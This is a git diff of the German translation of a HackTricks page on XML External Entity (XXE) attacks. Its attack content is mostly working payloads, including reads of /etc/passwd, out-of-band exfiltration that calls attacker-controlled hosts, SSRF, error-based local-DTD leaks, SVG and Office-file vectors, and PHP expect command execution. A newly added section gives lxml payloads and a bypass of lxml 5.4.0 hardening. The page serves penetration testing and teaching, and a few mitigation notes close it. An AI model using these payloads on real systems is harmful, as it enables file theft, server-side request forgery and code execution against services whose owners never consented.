mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xxe-xee-xml-external-entity.md'] to de
This commit is contained in:
parent
150337d59f
commit
05933035b0
@ -1,5 +1,10 @@
|
||||
# XXE - XEE - XML External Entity
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
|
||||
- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## XML Grundlagen
|
||||
@ -8,15 +13,15 @@ XML ist eine Auszeichnungssprache, die für die Speicherung und den Transport vo
|
||||
|
||||
- **Datenrepräsentation durch Entitäten**: Entitäten in XML ermöglichen die Darstellung von Daten, einschließlich spezieller Zeichen wie `<` und `>`, die `<` und `>` entsprechen, um Konflikte mit dem Tag-System von XML zu vermeiden.
|
||||
- **Definition von XML-Elementen**: XML ermöglicht die Definition von Elementtypen, die festlegen, wie Elemente strukturiert sein sollten und welchen Inhalt sie enthalten dürfen, von beliebigem Inhalt bis hin zu spezifischen Kind-Elementen.
|
||||
- **Dokumenttypdefinition (DTD)**: DTDs sind entscheidend in XML, um die Struktur des Dokuments und die Arten von Daten, die es enthalten kann, zu definieren. Sie können intern, extern oder eine Kombination sein und leiten, wie Dokumente formatiert und validiert werden.
|
||||
- **Dokumenttypdefinition (DTD)**: DTDs sind in XML entscheidend für die Definition der Struktur des Dokuments und der Arten von Daten, die es enthalten kann. Sie können intern, extern oder eine Kombination sein und leiten, wie Dokumente formatiert und validiert werden.
|
||||
- **Benutzerdefinierte und externe Entitäten**: XML unterstützt die Erstellung benutzerdefinierter Entitäten innerhalb einer DTD für eine flexible Datenrepräsentation. Externe Entitäten, die mit einer URL definiert sind, werfen Sicherheitsbedenken auf, insbesondere im Kontext von XML External Entity (XXE)-Angriffen, die die Art und Weise ausnutzen, wie XML-Parser externe Datenquellen behandeln: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **XXE-Erkennung mit Parameterentitäten**: Zur Erkennung von XXE-Schwachstellen, insbesondere wenn herkömmliche Methoden aufgrund von Sicherheitsmaßnahmen des Parsers fehlschlagen, können XML-Parameterentitäten verwendet werden. Diese Entitäten ermöglichen Out-of-Band-Erkennungstechniken, wie das Auslösen von DNS-Abfragen oder HTTP-Anfragen an eine kontrollierte Domain, um die Schwachstelle zu bestätigen.
|
||||
- **XXE-Erkennung mit Parameter-Entitäten**: Zur Erkennung von XXE-Schwachstellen, insbesondere wenn herkömmliche Methoden aufgrund von Sicherheitsmaßnahmen des Parsers fehlschlagen, können XML-Parameter-Entitäten genutzt werden. Diese Entitäten ermöglichen Out-of-Band-Erkennungstechniken, wie das Auslösen von DNS-Abfragen oder HTTP-Anfragen an eine kontrollierte Domain, um die Schwachstelle zu bestätigen.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
## Hauptangriffe
|
||||
|
||||
[**Die meisten dieser Angriffe wurden mit den großartigen Portswigger XEE-Labs getestet: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
[**Die meisten dieser Angriffe wurden mit den großartigen Portswiggers XEE-Labs getestet: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
|
||||
### Neuer Entitätstest
|
||||
|
||||
@ -33,9 +38,9 @@ In diesem Angriff werde ich testen, ob eine einfache neue ENTITY-Deklaration fun
|
||||
|
||||
### Datei lesen
|
||||
|
||||
Lass uns versuchen, `/etc/passwd` auf verschiedene Arten zu lesen. Für Windows könntest du versuchen, zu lesen: `C:\windows\system32\drivers\etc\hosts`
|
||||
Lass uns versuchen, `/etc/passwd` auf verschiedene Arten zu lesen. Für Windows könntest du versuchen zu lesen: `C:\windows\system32\drivers\etc\hosts`
|
||||
|
||||
In diesem ersten Fall beachte, dass SYSTEM "_**file:///**etc/passwd_" ebenfalls funktionieren wird.
|
||||
In diesem ersten Fall beachte, dass SYSTEM "_**file:///**etc/passwd_" ebenfalls funktioniert.
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||||
@ -43,7 +48,7 @@ In diesem ersten Fall beachte, dass SYSTEM "_**file:///**etc/passwd_" ebenfalls
|
||||
```
|
||||
.png>)
|
||||
|
||||
Dieser zweite Fall sollte nützlich sein, um eine Datei zu extrahieren, wenn der Webserver PHP verwendet (nicht der Fall bei den Portswigger-Labors).
|
||||
Dieser zweite Fall sollte nützlich sein, um eine Datei zu extrahieren, wenn der Webserver PHP verwendet (nicht der Fall bei Portswiggers Labs)
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
@ -83,15 +88,15 @@ Ein XXE könnte verwendet werden, um eine SSRF in einer Cloud auszunutzen.
|
||||
```
|
||||
### Blind SSRF
|
||||
|
||||
Mit der **zuvor kommentierten Technik** können Sie den Server dazu bringen, auf einen von Ihnen kontrollierten Server zuzugreifen, um zu zeigen, dass er anfällig ist. Wenn das jedoch nicht funktioniert, liegt es möglicherweise daran, dass **XML-Entitäten nicht erlaubt sind**. In diesem Fall könnten Sie versuchen, **XML-Parameterentitäten** zu verwenden:
|
||||
Mit der **zuvor kommentierten Technik** können Sie den Server dazu bringen, auf einen Server zuzugreifen, den Sie kontrollieren, um zu zeigen, dass er anfällig ist. Wenn das jedoch nicht funktioniert, liegt es möglicherweise daran, dass **XML-Entitäten nicht erlaubt sind**. In diesem Fall könnten Sie versuchen, **XML-Parameterentitäten** zu verwenden:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
### "Blind" SSRF - Exfiltriere Daten außerhalb des Bandes
|
||||
### "Blind" SSRF - Daten außerhalb des Bandes exfiltrieren
|
||||
|
||||
**In diesem Fall werden wir den Server dazu bringen, eine neue DTD mit einer bösartigen Payload zu laden, die den Inhalt einer Datei über eine HTTP-Anfrage sendet (für mehrzeilige Dateien könntest du versuchen, sie über \_ftp://**\_ zu exfiltrieren, indem du beispielsweise diesen einfachen Server verwendest [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Diese Erklärung basiert auf** [**Portswiggers Lab hier**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**In diesem Fall werden wir den Server dazu bringen, eine neue DTD mit einer bösartigen Payload zu laden, die den Inhalt einer Datei über eine HTTP-Anfrage sendet (für mehrzeilige Dateien könnten Sie versuchen, sie über \_ftp://**\_ zu exfiltrieren, indem Sie beispielsweise diesen einfachen Server verwenden [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Diese Erklärung basiert auf** [**Portswiggers Lab hier**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
In der gegebenen bösartigen DTD werden eine Reihe von Schritten durchgeführt, um Daten zu exfiltrieren:
|
||||
|
||||
@ -106,9 +111,9 @@ Die Struktur ist wie folgt:
|
||||
```
|
||||
Die von diesem DTD ausgeführten Schritte umfassen:
|
||||
|
||||
1. **Definition von Parameter-Entitäten:**
|
||||
- Eine XML-Parameter-Entität, `%file`, wird erstellt, die den Inhalt der Datei `/etc/hostname` liest.
|
||||
- Eine weitere XML-Parameter-Entität, `%eval`, wird definiert. Sie erklärt dynamisch eine neue XML-Parameter-Entität, `%exfiltrate`. Die `%exfiltrate`-Entität ist so eingestellt, dass sie eine HTTP-Anfrage an den Server des Angreifers sendet und den Inhalt der `%file`-Entität innerhalb der Abfragezeichenfolge der URL übergibt.
|
||||
1. **Definition von Parameterentitäten:**
|
||||
- Eine XML-Parameterentität, `%file`, wird erstellt, die den Inhalt der Datei `/etc/hostname` liest.
|
||||
- Eine weitere XML-Parameterentität, `%eval`, wird definiert. Sie erklärt dynamisch eine neue XML-Parameterentität, `%exfiltrate`. Die `%exfiltrate`-Entität ist so eingestellt, dass sie eine HTTP-Anfrage an den Server des Angreifers sendet und den Inhalt der `%file`-Entität innerhalb der Abfragezeichenfolge der URL übergibt.
|
||||
2. **Ausführung von Entitäten:**
|
||||
- Die `%eval`-Entität wird verwendet, was zur Ausführung der dynamischen Deklaration der `%exfiltrate`-Entität führt.
|
||||
- Die `%exfiltrate`-Entität wird dann verwendet, was eine HTTP-Anfrage an die angegebene URL mit dem Inhalt der Datei auslöst.
|
||||
@ -144,7 +149,7 @@ Bei der Ausführung sollte die Antwort des Webservers eine Fehlermeldung enthalt
|
||||
|
||||
.png>)
|
||||
|
||||
_**Bitte beachten Sie, dass externe DTD es uns ermöglicht, eine Entität innerhalb der zweiten `eval` einzuschließen, dies jedoch in der internen DTD verboten ist. Daher können Sie normalerweise keinen Fehler erzwingen, ohne eine externe DTD zu verwenden.**_
|
||||
_**Bitte beachten Sie, dass externe DTD es uns ermöglicht, eine Entität innerhalb des zweiten `eval` einzuschließen, dies jedoch in der internen DTD verboten ist. Daher können Sie normalerweise keinen Fehler erzwingen, ohne eine externe DTD zu verwenden.**_
|
||||
|
||||
### **Fehlerbasiert (System DTD)**
|
||||
|
||||
@ -152,7 +157,7 @@ Was ist also mit blinden XXE-Schwachstellen, wenn **out-of-band Interaktionen bl
|
||||
|
||||
Ein Schlupfloch in der XML-Spezifikation kann **sensible Daten durch Fehlermeldungen offenlegen, wenn die DTD eines Dokuments interne und externe Deklarationen mischt**. Dieses Problem ermöglicht die interne Neudefinition von extern deklarierten Entitäten, was die Durchführung von fehlerbasierten XXE-Angriffen erleichtert. Solche Angriffe nutzen die Neudefinition einer XML-Parameterentität aus, die ursprünglich in einer externen DTD deklariert wurde, aus einer internen DTD heraus. Wenn out-of-band Verbindungen vom Server blockiert werden, müssen Angreifer auf lokale DTD-Dateien zurückgreifen, um den Angriff durchzuführen, mit dem Ziel, einen Parsing-Fehler zu induzieren, um sensible Informationen offenzulegen.
|
||||
|
||||
Betrachten Sie ein Szenario, in dem das Dateisystem des Servers eine DTD-Datei unter `/usr/local/app/schema.dtd` enthält, die eine Entität namens `custom_entity` definiert. Ein Angreifer kann einen XML-Parsing-Fehler induzieren, der den Inhalt der Datei `/etc/passwd` offenbart, indem er eine hybride DTD wie folgt einreicht:
|
||||
Betrachten Sie ein Szenario, in dem das Dateisystem des Servers eine DTD-Datei unter `/usr/local/app/schema.dtd` enthält, die eine Entität namens `custom_entity` definiert. Ein Angreifer kann einen XML-Parsing-Fehler induzieren, der den Inhalt der Datei `/etc/passwd` offenlegt, indem er eine hybride DTD wie folgt einreicht:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
@ -169,7 +174,7 @@ Die skizzierten Schritte werden durch diese DTD ausgeführt:
|
||||
|
||||
- Die Definition einer XML-Parameterentität namens `local_dtd` umfasst die externe DTD-Datei, die sich im Dateisystem des Servers befindet.
|
||||
- Eine Neudefinition erfolgt für die XML-Parameterentität `custom_entity`, die ursprünglich in der externen DTD definiert wurde, um einen [fehlerbasierten XXE-Exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) zu kapseln. Diese Neudefinition ist darauf ausgelegt, einen Parsing-Fehler auszulösen, der den Inhalt der Datei `/etc/passwd` offenbart.
|
||||
- Durch die Verwendung der `local_dtd`-Entität wird die externe DTD aktiviert, die die neu definierte `custom_entity` umfasst. Diese Abfolge von Aktionen führt zur Ausgabe der angestrebten Fehlermeldung des Exploits.
|
||||
- Durch die Verwendung der Entität `local_dtd` wird die externe DTD aktiviert, die die neu definierte `custom_entity` umfasst. Diese Abfolge von Aktionen führt zur Ausgabe der angestrebten Fehlermeldung des Exploits.
|
||||
|
||||
**Echtweltbeispiel:** Systeme, die die GNOME-Desktopumgebung verwenden, haben oft eine DTD unter `/usr/share/yelp/dtd/docbookx.dtd`, die eine Entität namens `ISOamso` enthält.
|
||||
```xml
|
||||
@ -188,7 +193,7 @@ Die skizzierten Schritte werden durch diese DTD ausgeführt:
|
||||
```
|
||||
.png>)
|
||||
|
||||
Da diese Technik ein **internes DTD verwendet, müssen Sie zuerst ein gültiges finden**. Sie könnten dies **tun, indem Sie** dasselbe **Betriebssystem / Software** installieren, das der Server verwendet, und **einige Standard-DTDs suchen**, oder **eine Liste** von **Standard-DTDs** in Systemen **abrufen** und **überprüfen**, ob eines davon existiert:
|
||||
Da diese Technik eine **interne DTD verwendet, müssen Sie zuerst eine gültige finden**. Sie könnten dies tun, indem Sie das gleiche **Betriebssystem / die gleiche Software** installieren, die der Server verwendet, und **einige Standard-DTDs suchen**, oder **eine Liste** von **Standard-DTDs** in Systemen **abrufen** und **überprüfen**, ob eine von ihnen existiert:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -219,13 +224,13 @@ Testing 0 entities : []
|
||||
```
|
||||
### XXE über Office Open XML Parser
|
||||
|
||||
Für eine detailliertere Erklärung dieses Angriffs, **sehen Sie sich den zweiten Abschnitt von** [**diesem erstaunlichen Beitrag**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **von Detectify an**.
|
||||
Für eine detailliertere Erklärung dieses Angriffs, **sehen Sie sich den zweiten Abschnitt von** [**diesem erstaunlichen Beitrag**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **von Detectify** an.
|
||||
|
||||
Die Möglichkeit, **Microsoft Office-Dokumente hochzuladen, wird von vielen Webanwendungen angeboten**, die dann bestimmte Details aus diesen Dokumenten extrahieren. Beispielsweise kann eine Webanwendung es Benutzern ermöglichen, Daten durch das Hochladen einer XLSX-Format-Tabelle zu importieren. Damit der Parser die Daten aus der Tabelle extrahieren kann, muss er zwangsläufig mindestens eine XML-Datei parsen.
|
||||
Die Möglichkeit, **Microsoft Office-Dokumente hochzuladen, wird von vielen Webanwendungen angeboten**, die dann bestimmte Details aus diesen Dokumenten extrahieren. Eine Webanwendung kann beispielsweise Benutzern erlauben, Daten durch das Hochladen einer XLSX-Format-Tabelle zu importieren. Damit der Parser die Daten aus der Tabelle extrahieren kann, muss er zwangsläufig mindestens eine XML-Datei parsen.
|
||||
|
||||
Um diese Schwachstelle zu testen, ist es notwendig, eine **Microsoft Office-Datei mit einem XXE-Payload zu erstellen**. Der erste Schritt besteht darin, ein leeres Verzeichnis zu erstellen, in das das Dokument entpackt werden kann.
|
||||
|
||||
Sobald das Dokument entpackt wurde, sollte die XML-Datei, die sich unter `./unzipped/word/document.xml` befindet, in einem bevorzugten Texteditor (wie vim) geöffnet und bearbeitet werden. Die XML sollte so modifiziert werden, dass der gewünschte XXE-Payload enthalten ist, der oft mit einer HTTP-Anfrage beginnt.
|
||||
Sobald das Dokument entpackt ist, sollte die XML-Datei, die sich unter `./unzipped/word/document.xml` befindet, in einem bevorzugten Texteditor (wie vim) geöffnet und bearbeitet werden. Die XML sollte so modifiziert werden, dass der gewünschte XXE-Payload enthalten ist, der oft mit einer HTTP-Anfrage beginnt.
|
||||
|
||||
Die modifizierten XML-Zeilen sollten zwischen den beiden Wurzel-XML-Objekten eingefügt werden. Es ist wichtig, die URL durch eine überwachbare URL für Anfragen zu ersetzen.
|
||||
|
||||
@ -246,8 +251,8 @@ jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
Der Prozess, um auf eine Datei innerhalb eines PKZIP-Archivs über das Jar-Protokoll zuzugreifen, umfasst mehrere Schritte:
|
||||
|
||||
1. Eine HTTP-Anfrage wird gestellt, um das Zip-Archiv von einem bestimmten Ort herunterzuladen, wie z.B. `https://download.website.com/archive.zip`.
|
||||
2. Die HTTP-Antwort, die das Archiv enthält, wird vorübergehend im System gespeichert, typischerweise an einem Ort wie `/tmp/...`.
|
||||
3. Das Archiv wird dann extrahiert, um auf seinen Inhalt zuzugreifen.
|
||||
2. Die HTTP-Antwort, die das Archiv enthält, wird vorübergehend auf dem System gespeichert, typischerweise an einem Ort wie `/tmp/...`.
|
||||
3. Das Archiv wird dann extrahiert, um auf den Inhalt zuzugreifen.
|
||||
4. Die spezifische Datei im Archiv, `file.zip`, wird gelesen.
|
||||
5. Nach dem Vorgang werden alle temporären Dateien, die während dieses Prozesses erstellt wurden, gelöscht.
|
||||
|
||||
@ -257,7 +262,7 @@ Eine interessante Technik, um diesen Prozess im zweiten Schritt zu unterbrechen,
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Das Schreiben von Dateien in ein temporäres Verzeichnis kann helfen, **eine andere Schwachstelle auszunutzen, die eine Pfad Traversierung beinhaltet** (wie lokale Datei-Einbindung, Template-Injektion, XSLT RCE, Deserialisierung usw.).
|
||||
> Das Schreiben von Dateien in ein temporäres Verzeichnis kann helfen, **eine andere Schwachstelle auszunutzen, die eine Pfad Traversierung beinhaltet** (wie lokale Dateieinbindung, Template-Injection, XSLT RCE, Deserialisierung usw.).
|
||||
|
||||
### XSS
|
||||
```xml
|
||||
@ -324,11 +329,11 @@ Von Benutzern hochgeladene Dateien in bestimmten Anwendungen, die dann auf dem S
|
||||
|
||||
Wenn Benutzer **Bilder hochladen**, werden diese Bilder serverseitig verarbeitet oder validiert. Selbst für Anwendungen, die Formate wie PNG oder JPEG erwarten, **kann die Bildverarbeitungsbibliothek des Servers auch SVG-Bilder unterstützen**. SVG, als XML-basiertes Format, kann von Angreifern ausgenutzt werden, um bösartige SVG-Bilder einzureichen, wodurch der Server XXE (XML External Entity) -Schwachstellen ausgesetzt wird.
|
||||
|
||||
Ein Beispiel für einen solchen Exploit ist unten dargestellt, bei dem ein bösartiges SVG-Bild versucht, Systemdateien zu lesen:
|
||||
Ein Beispiel für einen solchen Exploit ist unten dargestellt, wo ein bösartiges SVG-Bild versucht, Systemdateien zu lesen:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||
```
|
||||
Eine andere Methode besteht darin, zu versuchen, **Befehle auszuführen** über den PHP "expect" Wrapper:
|
||||
Eine weitere Methode besteht darin, zu versuchen, **Befehle auszuführen** über den PHP "expect" Wrapper:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
||||
<image xlink:href="expect://ls"></image>
|
||||
@ -336,13 +341,13 @@ Eine andere Methode besteht darin, zu versuchen, **Befehle auszuführen** über
|
||||
```
|
||||
In beiden Fällen wird das SVG-Format verwendet, um Angriffe zu starten, die die XML-Verarbeitungsfähigkeiten der Software des Servers ausnutzen, was die Notwendigkeit robuster Eingangsvalidierung und Sicherheitsmaßnahmen hervorhebt.
|
||||
|
||||
Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!
|
||||
Überprüfen Sie [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) für weitere Informationen!
|
||||
|
||||
**Beachten Sie, dass die erste Zeile der gelesenen Datei oder des Ergebnisses der Ausführung INNERHALB des erstellten Bildes erscheinen wird. Sie müssen also in der Lage sein, auf das Bild zuzugreifen, das SVG erstellt hat.**
|
||||
**Beachten Sie, dass die erste Zeile der gelesenen Datei oder des Ergebnisses der Ausführung INDEM erstellten Bild erscheint. Sie müssen also in der Lage sein, auf das Bild zuzugreifen, das SVG erstellt hat.**
|
||||
|
||||
### **PDF - Datei-Upload**
|
||||
|
||||
Lesen Sie den folgenden Beitrag, um **zu lernen, wie man eine XXE beim Hochladen einer PDF**-Datei ausnutzt:
|
||||
Lesen Sie den folgenden Beitrag, um **zu erfahren, wie man eine XXE beim Hochladen einer PDF-Datei ausnutzt**:
|
||||
|
||||
{{#ref}}
|
||||
file-upload/pdf-upload-xxe-and-cors-bypass.md
|
||||
@ -404,7 +409,7 @@ Ein weiteres Beispiel finden Sie [hier](https://medium.com/hmif-itb/googlectf-20
|
||||
```xml
|
||||
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
|
||||
```
|
||||
Das funktioniert nur, wenn der XML-Server das `data://`-Protokoll akzeptiert.
|
||||
Dies funktioniert nur, wenn der XML-Server das `data://`-Protokoll akzeptiert.
|
||||
|
||||
### UTF-7
|
||||
|
||||
@ -420,7 +425,7 @@ Sie können das \[**"Encode Recipe**" von cyberchef hier ]\(\[[https://gchq.gith
|
||||
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
|
||||
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
|
||||
```
|
||||
### File:/ Protokoll Umgehung
|
||||
### Datei:/ Protokollumgehung
|
||||
|
||||
Wenn das Web PHP verwendet, können Sie anstelle von `file:/` **php wrappers**`php://filter/convert.base64-encode/resource=` verwenden, um **auf interne Dateien** zuzugreifen.
|
||||
|
||||
@ -429,7 +434,7 @@ Wenn das Web Java verwendet, können Sie das [**jar: Protokoll**](xxe-xee-xml-ex
|
||||
### HTML Entities
|
||||
|
||||
Trick von [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Sie können eine **Entity innerhalb einer Entity** erstellen, indem Sie sie mit **html entities** kodieren und dann aufrufen, um **eine dtd zu laden**.\
|
||||
Sie können eine **Entität innerhalb einer Entität** erstellen, indem Sie sie mit **html entities** kodieren und dann aufrufen, um **eine dtd zu laden**.\
|
||||
Beachten Sie, dass die verwendeten **HTML Entities** **numerisch** sein müssen (wie \[in diesem Beispiel]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
@ -542,7 +547,7 @@ Gültiges XML im RSS-Format zur Ausnutzung einer XXE-Schwachstelle.
|
||||
|
||||
### Ping back
|
||||
|
||||
Einfacher HTTP-Anfrage an den Server des Angreifers.
|
||||
Einfacher HTTP-Anfrage an den Server des Angreifers
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
@ -609,7 +614,7 @@ Verwendung des PHP base64-Filters
|
||||
```
|
||||
## Java XMLDecoder XEE zu RCE
|
||||
|
||||
XMLDecoder ist eine Java-Klasse, die Objekte basierend auf einer XML-Nachricht erstellt. Wenn ein böswilliger Benutzer es schafft, eine Anwendung dazu zu bringen, willkürliche Daten in einem Aufruf der Methode **readObject** zu verwenden, erhält er sofort die Möglichkeit zur Codeausführung auf dem Server.
|
||||
XMLDecoder ist eine Java-Klasse, die Objekte basierend auf einer XML-Nachricht erstellt. Wenn ein böswilliger Benutzer eine Anwendung dazu bringen kann, willkürliche Daten in einem Aufruf der Methode **readObject** zu verwenden, erhält er sofort die Codeausführung auf dem Server.
|
||||
|
||||
### Verwendung von Runtime().exec()
|
||||
```xml
|
||||
@ -681,6 +686,61 @@ Schau dir diesen erstaunlichen Bericht an [https://swarm.ptsecurity.com/impossib
|
||||
https://github.com/luisfontes19/xxexploiter
|
||||
{{#endref}}
|
||||
|
||||
### Python lxml Parameter-Entity XXE (Fehlerbasierte Date Offenlegung)
|
||||
|
||||
> [!INFO]
|
||||
> Die Python-Bibliothek **lxml** verwendet **libxml2** im Hintergrund. Versionen vor **lxml 5.4.0 / libxml2 2.13.8** erweitern weiterhin *Parameter*-Entitäten, selbst wenn `resolve_entities=False` gesetzt ist, wodurch sie erreichbar sind, wenn die Anwendung `load_dtd=True` und/oder `resolve_entities=True` aktiviert. Dies ermöglicht fehlerbasierte XXE-Payloads, die den Inhalt lokaler Dateien in die Parser-Fehlermeldung einbetten.
|
||||
|
||||
#### 1. Ausnutzen von lxml < 5.4.0
|
||||
1. Identifiziere oder erstelle eine *lokale* DTD auf der Festplatte, die eine **undefinierte** Parameterentität definiert (z. B. `%config_hex;`).
|
||||
2. Erstelle eine interne DTD, die:
|
||||
* Die lokale DTD mit `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` lädt.
|
||||
* Die undefinierte Entität so umdefiniert, dass sie:
|
||||
- Die Zieldatei liest (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- Eine weitere Parameterentität erstellt, die auf einen **ungültigen Pfad** verweist, der den Wert `%flag;` enthält und einen Parserfehler auslöst (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
3. Schließlich erweitere `%local_dtd;` und `%eval;`, sodass der Parser auf `%error;` stößt, `/aaa/<FLAG>` nicht öffnen kann und das Flag innerhalb der ausgelösten Ausnahme leakt – was oft von der Anwendung an den Benutzer zurückgegeben wird.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
|
||||
<!ENTITY % config_hex '
|
||||
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
|
||||
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
|
||||
%eval;'>
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
Wenn die Anwendung die Ausnahme ausgibt, enthält die Antwort:
|
||||
```
|
||||
Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
```
|
||||
> [!TIP]
|
||||
> Wenn der Parser sich über `%`/`&`-Zeichen im internen Teil beschwert, kodieren Sie sie doppelt (`&#x25;` ⇒ `%`), um die Erweiterung zu verzögern.
|
||||
|
||||
#### 2. Umgehung der lxml 5.4.0-Härtung (libxml2 weiterhin anfällig)
|
||||
`lxml` ≥ 5.4.0 verbietet *error*-Parameterentitäten wie die oben genannte, aber **libxml2** erlaubt es weiterhin, sie in einer *allgemeinen* Entität einzubetten. Der Trick besteht darin:
|
||||
1. Lesen Sie die Datei in eine Parameterentität `%file`.
|
||||
2. Deklarieren Sie eine weitere Parameterentität, die eine **allgemeine** Entität `c` erstellt, deren SYSTEM-Identifikator ein *nicht existierendes Protokoll* wie `meow://%file;` verwendet.
|
||||
3. Platzieren Sie `&c;` im XML-Body. Wenn der Parser versucht, `meow://…` zu dereferenzieren, schlägt er fehl und spiegelt die vollständige URI – einschließlich des Dateiinhalts – in der Fehlermeldung wider.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % a '
|
||||
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
|
||||
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
|
||||
'>
|
||||
%a; %b;
|
||||
]>
|
||||
<colors>&c;</colors>
|
||||
```
|
||||
#### Wichtige Erkenntnisse
|
||||
* **Parameter-Entitäten** werden weiterhin von libxml2 erweitert, selbst wenn `resolve_entities` XXE blockieren sollte.
|
||||
* Eine **ungültige URI** oder **nicht existierende Datei** reicht aus, um kontrollierte Daten in die ausgelöste Ausnahme zu concatenieren.
|
||||
* Die Technik funktioniert **ohne ausgehende Konnektivität**, was sie ideal für streng gefilterte Umgebungen macht.
|
||||
|
||||
#### Minderungshinweise
|
||||
* Aktualisieren Sie auf **lxml ≥ 5.4.0** und stellen Sie sicher, dass das zugrunde liegende **libxml2** **≥ 2.13.8** ist.
|
||||
* Deaktivieren Sie `load_dtd` und/oder `resolve_entities`, es sei denn, es ist absolut erforderlich.
|
||||
* Vermeiden Sie es, rohe Parser-Fehler an den Client zurückzugeben.
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||||
@ -692,4 +752,7 @@ https://github.com/luisfontes19/xxexploiter
|
||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
|
||||
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
|
||||
- [lxml bug #2107279 – Parameter-entity XXE immer noch möglich](https://bugs.launchpad.net/lxml/+bug/2107279)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
